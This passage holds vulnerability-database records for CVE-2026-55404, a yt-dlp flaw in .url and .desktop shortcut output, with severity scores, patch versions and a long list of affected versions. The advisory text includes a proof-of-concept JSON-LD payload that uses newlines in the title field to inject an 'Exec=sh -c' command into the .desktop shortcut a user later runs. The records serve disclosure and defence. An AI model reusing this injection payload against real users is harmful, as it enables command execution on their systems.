Scenario 2: Shell command injection in Linux `.desktop` shortcut\n\nThe Linux `.desktop` file format is a more versatile than the Windows `.url` file format. It is defined by the freedesktop.org \"desktop entry\" file specification, and supports multiple types of shortcuts: a `Link` type for URLs, a `Directory` type for filesystem folders, and an `Application` type for programs or shell commands. yt-dlp outputs a desktop entry file of the `Link` type, using the template below:\n\n```desktop\n[Desktop Entry]\nEncoding=UTF-8\nName=%(filename)s\nType=Link\nURL=%(url)s\nIcon=text-html\n```\n\nThe keys under the `[Desktop Entry]` group are separated by newlines, and the type of desktop entry is set by the value paired to the `Type` key.\n\nIf a yt-dlp user passes the `--write-link` or `--write-desktop-link` option to generate a desktop entry file, in addition to the `webpage_url` value there is a `filename` value that is written to the shortcut file. By default, yt-dlp will sanitize the `filename` value: this sanitization includes replacing newlines with spaces and removing other control characters. However, the `--no-windows-filenames` option was modified in yt-dlp version 2024.12.23 to disable this default filename sanitization when used. \n\nIf the user passes `--write-link` or `--write-desktop-link` together with `--no-windows-filenames` to yt-dlp, an unsanitized `filename` value can be written to the resulting desktop entry file. A remote attacker can exploit this lack of sanitization by crafting a malicious metadata payload such that the resulting `filename` value contains newline characters, which can be used to inject arbitrary groups, keys and values into the desktop entry output. Doing so allows the attacker to change the `Type` of the desktop entry to `Application` and achieve shell command injection.\n\nFor example, an attacker-controlled website could serve a webpage with this maliciously crafted JSON-LD data:\n\n```html\n\u003chtml\u003e\n\u003cscript type=\"application/ld+json\"\u003e{\n    \"@context\": \"https://schema.org\",\n    \"@type\": \"VideoObject\",\n    \"name\":\"Stream\\nType=Application\\nExec=sh -c \u0026quot;touch /tmp/pwned\u0026quot;\\n\\n[newgroup]\\nName=endtitle\",\n    \"contentUrl\": \"https://example.org/video.mp4\"\n}\u003c/script\u003e\n\u003c/html\u003e\n```\n\nThen, a yt-dlp user could try to download the legitimate video content from the page by running the following command:\n\n```bash\nyt-dlp --write-desktop-link --no-windows-filenames \"https://example.org/123\"\n```\n\nWhich would result in a desktop entry file containing a malicious shell command:\n\n```desktop\n[Desktop Entry]\nEncoding=UTF-8\nName=Stream\nType=Application\nExec=sh -c \"touch /tmp/pwned\"\n\n[newgroup]\nName=endtitle [123]\nType=Link\nURL=%(url)s\nIcon=text-html\n```\n\nIf a user on a Linux desktop environment executes the generated `.desktop` file, the malicious shell command would run on the user\u0027s system. (In the above example, a `/tmp/pwned` file would be created in the user\u0027s filesystem.)\n\n### Patches\nyt-dlp version 2026.07.04 fixes this issue by validating the URL scheme before any shortcut file is written, and by properly sanitizing all desktop entry values written to the `.desktop` file generated from using the `--write-desktop-link` or `--write-link` options. (Most notably: newline characters are replaced by their proper escape sequence per the freedesktop.org desktop entry specification.)\n\n### Workarounds\nIt is recommended to upgrade yt-dlp to version 2026.07.04 as soon as possible.\n\nUsers who are not able to upgrade should avoid using any of the `--write-link`, `--write-url-link` or `--write-desktop-link` options.",
  "id": "BREW-yewtube-CVE-2026-55404",
  "modified": "2026-09-17T19:26:57Z",
  "published": "2026-08-13T17:55:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-6v4j-43gg-vj32"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55404"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/commit/6fc85f617a5850307fd5b258477070e6ee177796"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/commit/b6590aaa1e3808155d69c9a79a797ae484163789"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yt-dlp/yt-dlp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.07.04.221833"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/releases/tag/2026.07.04"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "yt-dlp: Downstream command injection via improper sanitization of yt-dlp --write-link output",
  "upstream": [
    "GHSA-6v4j-43gg-vj32",
    "CVE-2026-55404",
    "PYSEC-2026-3622"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "upstream_fixed_in": "2026.7.4"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "yt-dlp",
        "purl": "pkg:brew/yt-dlp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.7.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "git",
    "upstream_evidence": [
      {
        "ecosystem": "GIT",
        "key": "https://github.com/yt-dlp/yt-dlp",
        "name": "https://github.com/yt-dlp/yt-dlp",
        "strategy": "git",
        "subject_version": "2026.8.19"
      },
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/yt-dlp@2026.8.19",
        "name": "yt-dlp",
        "strategy": "registry",
        "subject_version": "2026.8.19"
      },
      {
        "ecosystem": "Debian",
        "key": "Debian/yt-dlp",
        "name": "yt-dlp",
        "strategy": "distro"
      },
      {
        "ecosystem": "GIT",
        "key": "upstream:https://github.com/yt-dlp/yt-dlp",
        "name": "https://github.com/yt-dlp/yt-dlp",
        "strategy": "distro",
        "subject_version": "2026.8.19"
      },
      {
        "ecosystem": "PyPI",
        "key": "upstream:pkg:pypi/yt-dlp@2026.8.19",
        "name": "yt-dlp",
        "strategy": "distro",
        "subject_version": "2026.8.19"
      },
      {
        "ecosystem": "Ubuntu",
        "key": "Ubuntu/yt-dlp",
        "name": "yt-dlp",
        "strategy": "distro"
      }
    ]
  },
  "details": "yt-dlp and youtube-dl are command-line audio/video downloaders. Prior to 2026.7.4, the --write-link, --write-url-link, and --write-desktop-link options can write .url or .desktop shortcut files using attacker-controlled webpage_url or filename metadata without sufficient validation or escaping, allowing malicious file:// URI injection on Windows or newline-based desktop entry key injection on Linux that can execute commands if the generated shortcut is opened. This issue is fixed in version 2026.7.4.",
  "id": "BREW-yt-dlp-CVE-2026-55404",
  "modified": "2026-09-10T21:31:39Z",
  "published": "2026-08-13T17:55:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/releases/tag/2026.07.04"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55404.json"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-6v4j-43gg-vj32"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55404"
    },
    {
      "type": "FIX",
      "url": "https://github.com/yt-dlp/yt-dlp/commit/b6590aaa1e3808155d69c9a79a797ae484163789"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "yt-dlp: Downstream command injection via improper sanitization of yt-dlp --write-link output",
  "upstream": [
    "CVE-2026-55404",
    "GHSA-6v4j-43gg-vj32",
    "PYSEC-2026-3622"
  ]
}

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "yt-dlp",
          "vendor": "yt-dlp",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2026.7.4"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:yt-dlp_project:yt-dlp:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "FF9BF655-88FE-4E74-A3B8-2CD2582D3B24",
              "versionEndExcluding": "2026.07.04",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "yt-dlp and youtube-dl are command-line audio/video downloaders. Prior to 2026.7.4, the --write-link, --write-url-link, and --write-desktop-link options can write .url or .desktop shortcut files using attacker-controlled webpage_url or filename metadata without sufficient validation or escaping, allowing malicious file:// URI injection on Windows or newline-based desktop entry key injection on Linux that can execute commands if the generated shortcut is opened. This issue is fixed in version 2026.7.4."
    }
  ],
  "id": "CVE-2026-55404",
  "lastModified": "2026-07-13T17:01:13.303",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.6,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-55404",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-09T14:31:16.287811Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-08T20:16:52.987",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/yt-dlp/yt-dlp/commit/b6590aaa1e3808155d69c9a79a797ae484163789"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/yt-dlp/yt-dlp/releases/tag/2026.07.04"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-6v4j-43gg-vj32"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-74"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "yt-dlp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.7.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55404"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T20:35:25Z",
    "nvd_published_at": "2026-07-08T20:16:52Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nIf the `--write-link`, `--write-url-link` or `--write-desktop-link` options are used with yt-dlp, it may produce output that can lead to downstream remote code execution. An attacker can craft a malicious metadata payload to achieve arbitrary command injection in the `.url` and `.desktop` shortcut files written by yt-dlp. This allows for malicious shell commands or malicious remote executables to run on the user\u0027s system if the user executes the generated `.url` or `.desktop` files.\n\n### Details\nThe expected result of yt-dlp\u0027s `--write-link`, `--write-url-link` and `--write-desktop-link` options is to write a shortcut file that points to the webpage URL for the content downloaded by yt-dlp. The `--write-url-link` option writes a `.url` shortcut file for Windows, the `--write-desktop-link` option writes a `.desktop` shortcut file for Linux, and the `--write-link` option may write a `.url` file or a `.desktop` file depending on the user\u0027s platform.\n\nThere are two known scenarios where a remote attacker could serve a malicious metadata payload to exploit yt-dlp\u0027s improper validation/sanitization of its shortcut output and achieve arbitrary code execution if the user later opens these files.\n\n#### Scenario 1: `file://` URI injection in Windows `.url` shortcut\n\nIf a yt-dlp user passes the `--write-link` or `--write-url-link` option to generate a Windows `.url` file, the URL written to the shortcut file is sourced from the downloaded media\u0027s metadata--specifically, its `webpage_url` value. This value is commonly a normalized version of the input URL passed to yt-dlp by the user, but in some cases it may be extracted from untrusted web input. Validation of this `webpage_url` value is performed if it is fed back to yt-dlp as an input URL (e.g. via the `--load-info-json` option), but no validation is performed before it is output to a `.url` shortcut file.\n\nThis lack of validation is exploitable by a remote attacker who crafts a malicious metadata payload such that the resulting `webpage_url` value is a `file://` URI. A malicious file URI could point to a remote executable, e.g. `file://example.org/pwned.exe`. If a Windows user double-clicks a `.url` file that points to this `webpage_url`, Windows will execute the malicious remote executable on the user\u0027s system.\n\n#### Scenario 2: Shell command injection in Linux `.desktop` shortcut\n\nThe Linux `.desktop` file format is a more versatile than the Windows `.url` file format. It is defined by the freedesktop.org \"desktop entry\" file specification, and supports multiple types of shortcuts: a `Link` type for URLs, a `Directory` type for filesystem folders, and an `Application` type for programs or shell commands. yt-dlp outputs a desktop entry file of the `Link` type, using the template below:\n\n```desktop\n[Desktop Entry]\nEncoding=UTF-8\nName=%(filename)s\nType=Link\nURL=%(url)s\nIcon=text-html\n```\n\nThe keys under the `[Desktop Entry]` group are separated by newlines, and the type of desktop entry is set by the value paired to the `Type` key.\n\nIf a yt-dlp user passes the `--write-link` or `--write-desktop-link` option to generate a desktop entry file, in addition to the `webpage_url` value there is a `filename` value that is written to the shortcut file. By default, yt-dlp will sanitize the `filename` value: this sanitization includes replacing newlines with spaces and removing other control characters. However, the `--no-windows-filenames` option was modified in yt-dlp version 2024.12.23 to disable this default filename sanitization when used. \n\nIf the user passes `--write-link` or `--write-desktop-link` together with `--no-windows-filenames` to yt-dlp, an unsanitized `filename` value can be written to the resulting desktop entry file. A remote attacker can exploit this lack of sanitization by crafting a malicious metadata payload such that the resulting `filename` value contains newline characters, which can be used to inject arbitrary groups, keys and values into the desktop entry output. Doing so allows the attacker to change the `Type` of the desktop entry to `Application` and achieve shell command injection.\n\nFor example, an attacker-controlled website could serve a webpage with this maliciously crafted JSON-LD data:\n\n```html\n\u003chtml\u003e\n\u003cscript type=\"application/ld+json\"\u003e{\n    \"@context\": \"https://schema.org\",\n    \"@type\": \"VideoObject\",\n    \"name\":\"Stream\\nType=Application\\nExec=sh -c \u0026quot;touch /tmp/pwned\u0026quot;\\n\\n[newgroup]\\nName=endtitle\",\n    \"contentUrl\": \"https://example.org/video.mp4\"\n}\u003c/script\u003e\n\u003c/html\u003e\n```\n\nThen, a yt-dlp user could try to download the legitimate video content from the page by running the following command:\n\n```bash\nyt-dlp --write-desktop-link --no-windows-filenames \"https://example.org/123\"\n```\n\nWhich would result in a desktop entry file containing a malicious shell command:\n\n```desktop\n[Desktop Entry]\nEncoding=UTF-8\nName=Stream\nType=Application\nExec=sh -c \"touch /tmp/pwned\"\n\n[newgroup]\nName=endtitle [123]\nType=Link\nURL=%(url)s\nIcon=text-html\n```\n\nIf a user on a Linux desktop environment executes the generated `.desktop` file, the malicious shell command would run on the user\u0027s system. (In the above example, a `/tmp/pwned` file would be created in the user\u0027s filesystem.)\n\n### Patches\nyt-dlp version 2026.07.04 fixes this issue by validating the URL scheme before any shortcut file is written, and by properly sanitizing all desktop entry values written to the `.desktop` file generated from using the `--write-desktop-link` or `--write-link` options. (Most notably: newline characters are replaced by their proper escape sequence per the freedesktop.org desktop entry specification.)\n\n### Workarounds\nIt is recommended to upgrade yt-dlp to version 2026.07.04 as soon as possible.\n\nUsers who are not able to upgrade should avoid using any of the `--write-link`, `--write-url-link` or `--write-desktop-link` options.",
  "id": "GHSA-6v4j-43gg-vj32",
  "modified": "2026-07-24T20:35:26Z",
  "published": "2026-07-24T20:35:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-6v4j-43gg-vj32"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55404"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/commit/6fc85f617a5850307fd5b258477070e6ee177796"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/commit/b6590aaa1e3808155d69c9a79a797ae484163789"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yt-dlp/yt-dlp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.07.04.221833"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yt-dlp/yt-dlp/releases/tag/2026.07.04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "yt-dlp: Downstream command injection via improper sanitization of yt-dlp --write-link output"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "yt-dlp",
        "purl": "pkg:pypi/yt-dlp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.7.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2021.1.15",
        "2021.1.15.post1",
        "2021.1.16",
        "2021.1.20",
        "2021.1.24",
        "2021.1.24.post1",
        "2021.1.29",
        "2021.10.10",
        "2021.10.22",
        "2021.10.9",
        "2021.11.10",
        "2021.11.10.1",
        "2021.12.1",
        "2021.12.25",
        "2021.12.27",
        "2021.2.15",
        "2021.2.19",
        "2021.2.24",
        "2021.2.4",
        "2021.2.9",
        "2021.3.1",
        "2021.3.15",
        "2021.3.21",
        "2021.3.24",
        "2021.3.24.1",
        "2021.3.3",
        "2021.3.3.1",
        "2021.3.3.2",
        "2021.3.7",
        "2021.4.11",
        "2021.4.22",
        "2021.4.3",
        "2021.5.11",
        "2021.5.20",
        "2021.6.1",
        "2021.6.23",
        "2021.6.8",
        "2021.6.9",
        "2021.7.21",
        "2021.7.24",
        "2021.7.7",
        "2021.8.10",
        "2021.8.2",
        "2021.9.1",
        "2021.9.2",
        "2021.9.25",
        "2022.1.21",
        "2022.10.4",
        "2022.11.11",
        "2022.2.3",
        "2022.2.4",
        "2022.3.8",
        "2022.3.8.1",
        "2022.3.8.2",
        "2022.4.8",
        "2022.5.18",
        "2022.6.22",
        "2022.6.22.1",
        "2022.6.29",
        "2022.7.17",
        "2022.7.18",
        "2022.8.14",
        "2022.8.19",
        "2022.8.8",
        "2022.9.1",
        "2023.1.2",
        "2023.1.6",
        "2023.10.13",
        "2023.10.7",
        "2023.11.13.232715.dev0",
        "2023.11.13.5826.dev0",
        "2023.11.14",
        "2023.11.15.232826.dev0",
        "2023.11.16",
        "2023.11.16.232727.dev0",
        "2023.11.18.232705.dev0",
        "2023.11.19.232719.dev0",
        "2023.11.20.232729.dev0",
        "2023.11.26.232703.dev0",
        "2023.11.28.232715.dev0",
        "2023.11.29.232714.dev0",
        "2023.12.12.232727.dev0",
        "2023.12.13.232710.dev0",
        "2023.12.17.232710.dev0",
        "2023.12.18.232711.dev0",
        "2023.12.19.232701.dev0",
        "2023.12.20.232717.dev0",
        "2023.12.21.232720.dev0",
        "2023.12.22.232735.dev0",
        "2023.12.24.232657.dev0",
        "2023.12.26.232752.dev0",
        "2023.12.30",
        "2023.12.30.232719.dev0",
        "2023.12.31.232713.dev0",
        "2023.12.5.232702.dev0",
        "2023.12.6.232721.dev0",
        "2023.2.17",
        "2023.3.3",
        "2023.3.4",
        "2023.6.21",
        "2023.6.22",
        "2023.7.6",
        "2023.9.24",
        "2024.1.14.232710.dev0",
        "2024.1.18.232658.dev0",
        "2024.1.19.232708.dev0",
        "2024.1.2.232714.dev0",
        "2024.1.20.232722.dev0",
        "2024.1.21.232719.dev0",
        "2024.1.22.232713.dev0",
        "2024.1.23.232723.dev0",
        "2024.1.28.232706.dev0",
        "2024.1.29.232706.dev0",
        "2024.1.31.232703.dev0",
        "2024.1.5.232702.dev0",
        "2024.1.8.232709.dev0",
        "2024.1.9.232723.dev0",
        "2024.10.1.232843.dev0",
        "2024.10.10.232848.dev0",
        "2024.10.11.232837.dev0",
        "2024.10.12.232856.dev0",
        "2024.10.13.232959.dev0",
        "2024.10.14.232841.dev0",
        "2024.10.15.232919.dev0",
        "2024.10.16.232911.dev0",
        "2024.10.19.232833.dev0",
        "2024.10.20.232914.dev0",
        "2024.10.22",
        "2024.10.22.232922.dev0",
        "2024.10.22.51025.dev0",
        "2024.10.23.232902.dev0",
        "2024.10.24.232910.dev0",
        "2024.10.25.232902.dev0",
        "2024.10.26.232826.dev0",
        "2024.10.27.232921.dev0",
        "2024.10.28.232846.dev0",
        "2024.10.29.232854.dev0",
        "2024.10.31.232951.dev0",
        "2024.10.7",
        "2024.10.7.232845.dev0",
        "2024.11.10.232816.dev0",
        "2024.11.11.232805.dev0",
        "2024.11.12.232900.dev0",
        "2024.11.15.232903.dev0",
        "2024.11.16.232922.dev0",
        "2024.11.17.232856.dev0",
        "2024.11.18",
        "2024.11.18.232921.dev0",
        "2024.11.2.232942.dev0",
        "2024.11.23.232923.dev0",
        "2024.11.24.232931.dev0",
        "2024.11.26.232922.dev0",
        "2024.11.27.232921.dev0",
        "2024.11.3.232912.dev0",
        "2024.11.4",
        "2024.11.4.232933.dev0",
        "2024.11.6.232826.dev0",
        "2024.11.9.232836.dev0",
        "2024.12.1.232904.dev0",
        "2024.12.12.232950.dev0",
        "2024.12.13",
        "2024.12.13.232928.dev0",
        "2024.12.15.232913.dev0",
        "2024.12.2.233010.dev0",
        "2024.12.23",
        "2024.12.23.232812.dev0",
        "2024.12.26.232815.dev0",
        "2024.12.3",
        "2024.12.3.232932.dev0",
        "2024.12.4.232942.dev0",
        "2024.12.6",
        "2024.12.6.161513.dev0",
        "2024.2.13.232701.dev0",
        "2024.2.14.232704.dev0",
        "2024.2.15.232705.dev0",
        "2024.2.16.232705.dev0",
        "2024.2.17.232706.dev0",
        "2024.2.18.232707.dev0",
        "2024.2.19.232703.dev0",
        "2024.2.2.232707.dev0",
        "2024.2.20.232712.dev0",
        "2024.2.21.232721.dev0",
        "2024.2.22.232849.dev0",
        "2024.2.23.232656.dev0",
        "2024.2.24.232815.dev0",
        "2024.2.25.232703.dev0",
        "2024.2.28.232744.dev0",
        "2024.2.29.232658.dev0",
        "2024.2.3.232712.dev0",
        "2024.2.4.232659.dev0",
        "2024.2.5.232712.dev0",
        "2024.2.9.232659.dev0",
        "2024.3.10",
        "2024.3.10.232703.dev0",
        "2024.3.14.232657.dev0",
        "2024.3.17.232657.dev0",
        "2024.3.18.232707.dev0",
        "2024.3.19.232701.dev0",
        "2024.3.2.232720.dev0",
        "2024.3.20.232704.dev0",
        "2024.3.22.232703.dev0",
        "2024.3.29.232706.dev0",
        "2024.3.3.232706.dev0",
        "2024.3.30.232704.dev0",
        "2024.3.31.232706.dev0",
        "2024.3.4.232716.dev0",
        "2024.3.6.232659.dev0",
        "2024.3.7.232716.dev0",
        "2024.3.8.232718.dev0",
        "2024.3.9.232714.dev0",
        "2024.4.1.232704.dev0",
        "2024.4.13.232802.dev0",
        "2024.4.18.232703.dev0",
        "2024.4.20.232659.dev0",
        "2024.4.21.232710.dev0",
        "2024.4.28.232723.dev0",
        "2024.4.3.233315.dev0",
        "2024.4.4.232729.dev0",
        "2024.4.6.232655.dev0",
        "2024.4.7.232657.dev0",
        "2024.4.8.232708.dev0",
        "2024.4.9",
        "2024.4.9.232723.dev0",
        "2024.5.10.232705.dev0",
        "2024.5.11.232654.dev0",
        "2024.5.12.232709.dev0",
        "2024.5.13.232704.dev0",
        "2024.5.16.232713.dev0",
        "2024.5.17.232726.dev0",
        "2024.5.18.232655.dev0",
        "2024.5.20.232721.dev0",
        "2024.5.22.232749.dev0",
        "2024.5.23.232707.dev0",
        "2024.5.25.232709.dev0",
        "2024.5.26",
        "2024.5.26.232731.dev0",
        "2024.5.27",
        "2024.5.27.232744.dev0",
        "2024.5.29.232700.dev0",
        "2024.5.30.232720.dev0",
        "2024.5.4.232706.dev0",
        "2024.5.5.232701.dev0",
        "2024.5.8.232715.dev0",
        "2024.6.1.232725.dev0",
        "2024.6.11.232712.dev0",
        "2024.6.13.232720.dev0",
        "2024.6.15.232712.dev0",
        "2024.6.16.232832.dev0",
        "2024.6.17.232743.dev0",
        "2024.6.20.232815.dev0",
        "2024.6.21.232706.dev0",
        "2024.6.22.232706.dev0",
        "2024.6.24.232830.dev0",
        "2024.6.27.232805.dev0",
        "2024.6.29.232730.dev0",
        "2024.6.30.232744.dev0",
        "2024.7.1",
        "2024.7.1.232715.dev0",
        "2024.7.10.232707.dev0",
        "2024.7.11.232833.dev0",
        "2024.7.12.232729.dev0",
        "2024.7.13.232701.dev0",
        "2024.7.14.232743.dev0",
        "2024.7.15.232803.dev0",
        "2024.7.16",
        "2024.7.16.232919.dev0",
        "2024.7.19.25855.dev0",
        "2024.7.2",
        "2024.7.2.232715.dev0",
        "2024.7.23.232906.dev0",
        "2024.7.24.232745.dev0",
        "2024.7.25",
        "2024.7.25.232820.dev0",
        "2024.7.29.232758.dev0",
        "2024.7.3.232825.dev0",
        "2024.7.30.232707.dev0",
        "2024.7.31.232733.dev0",
        "2024.7.5.232716.dev0",
        "2024.7.6.232701.dev0",
        "2024.7.7",
        "2024.7.7.232743.dev0",
        "2024.7.8",
        "2024.7.8.232708.dev0",
        "2024.7.9",
        "2024.7.9.232843.dev0",
        "2024.8.1",
        "2024.8.1.232808.dev0",
        "2024.8.12.232840.dev0",
        "2024.8.13.232739.dev0",
        "2024.8.15.233031.dev0",
        "2024.8.18.232809.dev0",
        "2024.8.19.232821.dev0",
        "2024.8.21.232751.dev0",
        "2024.8.26.232811.dev0",
        "2024.8.4.232814.dev0",
        "2024.8.5.232823.dev0",
        "2024.8.6",
        "2024.8.6.232802.dev0",
        "2024.9.1.235933.dev0",
        "2024.9.13.232912.dev0",
        "2024.9.14.232748.dev0",
        "2024.9.17.232940.dev0",
        "2024.9.2.232855.dev0",
        "2024.9.24.232842.dev0",
        "2024.9.25.232842.dev0",
        "2024.9.26.232938.dev0",
        "2024.9.27",
        "2024.9.27.232842.dev0",
        "2024.9.29.232819.dev0",
        "2024.9.30.232929.dev0",
        "2024.9.5.232840.dev0",
        "2024.9.7.232731.dev0",
        "2024.9.8.232909.dev0",
        "2025.1.11.232806.dev0",
        "2025.1.12",
        "2025.1.12.232754.dev0",
        "2025.1.15",
        "2025.1.15.232837.dev0",
        "2025.1.16.232854.dev0",
        "2025.1.19.232735.dev0",
        "2025.1.20.232744.dev0",
        "2025.1.21.232800.dev0",
        "2025.1.23.232810.dev0",
        "2025.1.26",
        "2025.1.26.34637.dev0",
        "2025.1.28.232803.dev0",
        "2025.1.29.232818.dev0",
        "2025.1.30.232843.dev0",
        "2025.10.1.232815.dev0",
        "2025.10.11.232807.dev0",
        "2025.10.12.232804.dev0",
        "2025.10.14",
        "2025.10.14.232845.dev0",
        "2025.10.15.232824.dev0",
        "2025.10.18.232824.dev0",
        "2025.10.22",
        "2025.10.22.193525.dev0",
        "2025.10.22.232844.dev0",
        "2025.10.24.232923.dev0",
        "2025.10.25.232842.dev0",
        "2025.10.27.232853.dev0",
        "2025.10.28.232931.dev0",
        "2025.10.31.222828.dev0",
        "2025.11.1.232827.dev0",
        "2025.11.1.73148.dev0",
        "2025.11.11.5312.dev0",
        "2025.11.12",
        "2025.11.12.5349.dev0",
        "2025.11.14.235840.dev0",
        "2025.11.15.232912.dev0",
        "2025.11.16.232923.dev0",
        "2025.11.18.232918.dev0",
        "2025.11.19.232938.dev0",
        "2025.11.20.232939.dev0",
        "2025.11.21.232936.dev0",
        "2025.11.23.233008.dev0",
        "2025.11.23.5251.dev0",
        "2025.11.24.232953.dev0",
        "2025.11.28.232930.dev0",
        "2025.11.29.232949.dev0",
        "2025.11.3.233024.dev0",
        "2025.11.5.232946.dev0",
        "2025.11.7.232914.dev0",
        "2025.11.8.232845.dev0",
        "2025.11.9.232846.dev0",
        "2025.12.1.10606.dev0",
        "2025.12.1.233105.dev0",
        "2025.12.1.51642.dev0",
        "2025.12.12.233036.dev0",
        "2025.12.13.232949.dev0",
        "2025.12.15.233113.dev0",
        "2025.12.18.235942.dev0",
        "2025.12.19.233017.dev0",
        "2025.12.20.232942.dev0",
        "2025.12.24.233043.dev0",
        "2025.12.25.233051.dev0",
        "2025.12.26.233056.dev0",
        "2025.12.29.233040.dev0",
        "2025.12.3.233056.dev0",
        "2025.12.30.233018.dev0",
        "2025.12.31.233056.dev0",
        "2025.12.4.233042.dev0",
        "2025.12.5.232956.dev0",
        "2025.12.6.232939.dev0",
        "2025.12.8",
        "2025.12.8.550.dev0",
        "2025.12.9.233030.dev0",
        "2025.2.10.232934.dev0",
        "2025.2.11.232920.dev0",
        "2025.2.19",
        "2025.2.19.23542.dev0",
        "2025.2.20.232914.dev0",
        "2025.2.21.232913.dev0",
        "2025.2.22.232738.dev0",
        "2025.2.23.232748.dev0",
        "2025.2.26.232946.dev0",
        "2025.2.28.232826.dev0",
        "2025.2.8.232844.dev0",
        "2025.2.9.232824.dev0",
